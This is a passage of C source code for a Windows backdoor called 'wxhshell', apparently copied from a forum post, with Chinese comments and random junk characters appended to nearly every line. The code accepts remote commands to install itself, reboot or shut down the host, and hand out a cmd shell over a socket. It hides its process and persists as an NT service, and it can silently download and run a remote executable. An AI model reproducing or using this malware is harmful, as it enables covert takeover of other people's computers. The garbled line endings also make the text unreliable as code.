  } dd{pF\a  
  // 安装 oI2YJ2?Je8  
  case 'i': { 5OS|Vp||b  
    if(Install()) xQ{n|)i>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "?r=n@Kv  
    else 45+w)Vf!  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @s[Vtw%f  
    break; #Y9'n0 AL  
    } qT}AY.O%^  
  // 卸载 Y  c]  
  case 'r': { (}jYi*B  
    if(Uninstall()) ,dZ&i! @?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); W:z?w2{VI(  
    else `5$B"p&i  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *RpBKm&^7  
    break; /xseI)y.B  
    } tn@MOOP l  
  // 显示 wxhshell 所在路径 ^qgOgu  
  case 'p': { p(J,fus  
    char svExeFile[MAX_PATH]; vsDR@Y}k  
    strcpy(svExeFile,"\n\r"); pD )$O}  
      strcat(svExeFile,ExeFile); ESQgN+llj  
        send(wsh,svExeFile,strlen(svExeFile),0); V_.n G;  
    break; <R%]9#re  
    } |5(< Vk=  
  // 重启 'tRaF  
  case 'b': { {TV6eV  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); s2'] "wM  
    if(Boot(REBOOT)) &t0toEj  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); h%0hryGB  
    else { D6M ktE)'  
    closesocket(wsh); .&R j2d  
    ExitThread(0); }% m:^*@$9  
    } [`'[)B  
    break; L4wKG&  
    } %?`TyVt&0  
  // 关机 QL{{GQ_dn  
  case 'd': { v\;hI5WY  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); h4\j=Np  
    if(Boot(SHUTDOWN)) O F|3y~z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =5PNH2  
    else { L(Ffa(i  
    closesocket(wsh); k%[pZ 5.!  
    ExitThread(0); |` +G7?)Y  
    } U:[#n5g  
    break; c(tX761qz  
    } E@%X  
  // 获取shell w)u6J ,  
  case 's': { ED>T2.:{  
    CmdShell(wsh); bOKgR{i  
    closesocket(wsh); y66V&#`,e0  
    ExitThread(0); F_ Cp,  
    break; F N)vFQ#J  
  } kq m$a  
  // 退出 5/m^9@A  
  case 'x': { 7j <:hF~  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); k'hJ@ 6eKS  
    CloseIt(wsh); Gx.iZOOH/  
    break; 9sR?aW^$,/  
    } mV58&SZT  
  // 离开 :Jz@`s1n  
  case 'q': { AzwG_XgM)  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ML|O2e  
    closesocket(wsh); pP`KI'aUN  
    WSACleanup(); ^9g+\W  
    exit(1); .@(+.G  
    break; sdWu6?B_  
        } :mpR}.^hv  
  } .^Z^L F  
  } .gPXW=r  
v;r!rZX  
  // 提示信息 mnwYv..ePz  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); LZ"yMnhOf  
} $G_,$U !  
  } ?[|T"bE5[  
aeP 6JHj  
  return; X9d~r_2&m<  
} H /kSFf{  
+Je(]b @  
// shell模块句柄 5,pKv  
int CmdShell(SOCKET sock) :Ur=}@Dj  
{ ]nEZ Q+F  
STARTUPINFO si; U6R"eQUTV  
ZeroMemory(&si,sizeof(si)); vXio /m  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 6axDuwQ  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Ckelr  
PROCESS_INFORMATION ProcessInfo; ]B;\?Tim  
char cmdline[]="cmd"; `9+>2*k  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 2L'vB1 `  
  return 0; wGXnS"L!  
} 8\85Wk{b  
e>:bV7h j~  
// 自身启动模式 c2,1d`  
int StartFromService(void) ^YpA@`n  
{ 2I 2#o9(Ar  
typedef struct w# t[sI"IT  
{ \; b)qB  
  DWORD ExitStatus; LHt{y3l]  
  DWORD PebBaseAddress; ]Gm $0uS  
  DWORD AffinityMask; ~sI$xX!  
  DWORD BasePriority; ]lKQ wpX3  
  ULONG UniqueProcessId; 6__#n`  
  ULONG InheritedFromUniqueProcessId; T2nbU6H  
}   PROCESS_BASIC_INFORMATION; 7H1 ii   
t:|+U:! >  
PROCNTQSIP NtQueryInformationProcess; s?.A $^t  
6+:Tv2  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; X C jYm  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; HhmC+3w.7  
&r{.b#7\/A  
  HANDLE             hProcess; rY 0kzD/  
  PROCESS_BASIC_INFORMATION pbi; ; U)a)l'y  
1lxsj{>U  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); tPT\uD#t  
  if(NULL == hInst ) return 0; GQNs:oRJ'  
6Q&*V7EO  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); y5XHJUTu  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); gZ5E%']sT  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); "iCR68e  
9Yh0' <Z  
  if (!NtQueryInformationProcess) return 0; J| orvnkK  
09f:%!^u  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Al^n&Aa+\  
  if(!hProcess) return 0; 7VF^&6  
yMQuM :d  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; H?dmNwkPY  
PgKA>50a  
  CloseHandle(hProcess); 1I?D$I>CV  
}HM8VAH  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Z=ayVsJ3  
if(hProcess==NULL) return 0; q<YteuZJ,  
MI|51&m  
HMODULE hMod; _.xT :b36  
char procName[255]; Fb<r~2  
unsigned long cbNeeded; FBjIft5e  
AnbY<&OC1  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); RP 2MtP"M  
d(>7BV  
  CloseHandle(hProcess); mulK(mp  
C] <K s  
if(strstr(procName,"services")) return 1; // 以服务启动 ~zklrBn&  
+\`D1d@  
  return 0; // 注册表启动 t|gEMDGa3  
} O1@-)<_71  
KfU4#2}  
// 主模块 (c /H$'  
int StartWxhshell(LPSTR lpCmdLine) nt,tM/  
{ %$b)l? !  
  SOCKET wsl; "t<$ {  
BOOL val=TRUE; @j%r6N  
  int port=0; \dyJ=tg  
  struct sockaddr_in door; _E e`Uk  
_}X_^taTZS  
  if(wscfg.ws_autoins) Install(); 5Rv6+d  
`?P k~7  
port=atoi(lpCmdLine); Y$%/H"1bk  
SR 9 Cl  
if(port<=0) port=wscfg.ws_port; i$) `U]  
q16RPqfT  
  WSADATA data; G>?hojvi  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; FhgO5@BO  
x1m J&D  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   8&6h()  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); "_qH+ =_R  
  door.sin_family = AF_INET; a!,q\p8<t0  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); d}K"dr:W5  
  door.sin_port = htons(port); SRl:+!@.  
|-N\?N9"  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { &zsaVm8  
closesocket(wsl); K2T&U$ ,  
return 1; *p;Fwj]  
} 1}e1:m]r  
XqVhC):  
  if(listen(wsl,2) == INVALID_SOCKET) { 6i/x"vl>  
closesocket(wsl); ~X^L3=!vf  
return 1; :)v4:&do  
} V#?GDe}[  
  Wxhshell(wsl); ^CUeq"GYoZ  
  WSACleanup(); N|c;Qzl  
O:fv1  
return 0; >9{Gdq[gyr  
bk E4{P"  
} }2Y:#{m  
&pS <4  
// 以NT服务方式启动 uBLI!N-G  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) nB?$W4  
{ 7:U^Ki  
DWORD   status = 0; G#ov2  
  DWORD   specificError = 0xfffffff; Cf`s:A5<J  
]/!#:  
  serviceStatus.dwServiceType     = SERVICE_WIN32; jX^uNmb  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 8kQ >M  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Vx@JP93|  
  serviceStatus.dwWin32ExitCode     = 0; SI=vA\e  
  serviceStatus.dwServiceSpecificExitCode = 0; "d'D:>z]%  
  serviceStatus.dwCheckPoint       = 0; u8pJjn;  
  serviceStatus.dwWaitHint       = 0; *<n]"-  
:ND5po#(  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); *TY?*H  
  if (hServiceStatusHandle==0) return; ANEW^\  
=Mb!&qq  
status = GetLastError(); ]}2+yK  
  if (status!=NO_ERROR) XVjs0/5b  
{ '~ RP+  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; DfP4 `  
    serviceStatus.dwCheckPoint       = 0; q.0a0 /R  
    serviceStatus.dwWaitHint       = 0; q3\ YL?  
    serviceStatus.dwWin32ExitCode     = status; <Q'J=;vV  
    serviceStatus.dwServiceSpecificExitCode = specificError; S[rz=[7{  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3z9}cOFq]z  
    return; )CQ'kHT<e  
  } z=>U>  
<A +VS  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; yTWP1  
  serviceStatus.dwCheckPoint       = 0; )Xxu-/-  
  serviceStatus.dwWaitHint       = 0; !6: kJL}U  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); GU'/-6-T  
} '#REbY5ev  
oJJ2y  
// 处理NT服务事件,比如:启动、停止 0R&$P 6  
VOID WINAPI NTServiceHandler(DWORD fdwControl) b f.__3{  
{ 5LU8QHj3  
switch(fdwControl) ; F% 3b47  
{ nZe2bai  
case SERVICE_CONTROL_STOP: /k3v\Jq{  
  serviceStatus.dwWin32ExitCode = 0; F$P8"q+  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ]6NpHDip1  
  serviceStatus.dwCheckPoint   = 0; iE$qq ~%  
  serviceStatus.dwWaitHint     = 0; m.ev~Vv~  
  { a#t:+iw  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); MPx%#'Q  
  } Dbt"}#uit;  
  return; 2Z 4Ekq0@  
case SERVICE_CONTROL_PAUSE: OnE#8*8  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; iB1"aE3  
  break; 6qQdTp{i  
case SERVICE_CONTROL_CONTINUE: [+EmV>Y  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; n46H7e(ej\  
  break; ]ovP^]]V  
case SERVICE_CONTROL_INTERROGATE: L=4%MyZ.e  
  break; Zq7Y('=`t@  
}; };"-6e/9  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); -J8&!S8X  
} 5hwe ul>S  
pEf1[ zq  
// 标准应用程序主函数 vZ[wr@)  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 4Cs |F7R  
{ aI]EwVz-q  
{\3ZmF  
// 获取操作系统版本 bK:mt`  
OsIsNt=GetOsVer(); 7}>7@W8  
GetModuleFileName(NULL,ExeFile,MAX_PATH); x"q!=&>f  
Z _W.iBF  
  // 从命令行安装 Nv!If$d  
  if(strpbrk(lpCmdLine,"iI")) Install(); I;xrw?=\L  
IzPnbnS}  
  // 下载执行文件 qyzmjV6J2  
if(wscfg.ws_downexe) { d>[=]  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) (/TYET_H  
  WinExec(wscfg.ws_filenam,SW_HIDE); xwK{}==U  
} 3Au3>q,  
SPfz/ q{  
if(!OsIsNt) { W]b>k lp;  
// 如果时win9x,隐藏进程并且设置为注册表启动 m{T:<:q~  
HideProc(); ,MH/lQq%  
StartWxhshell(lpCmdLine); JmL{&  
} *9J >3   
else o9I=zAGjy  
  if(StartFromService()) Yxik .S+G  
  // 以服务方式启动 2wR?ON=Q  
  StartServiceCtrlDispatcher(DispatchTable); 5=Cea  
else r]JV !'R  
  // 普通方式启动 jpijnz{M  
  StartWxhshell(lpCmdLine); @@->A9'L  
fS9TDy  
return 0; `5da  
}
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只看该作者 1 发表于: 2006-10-10
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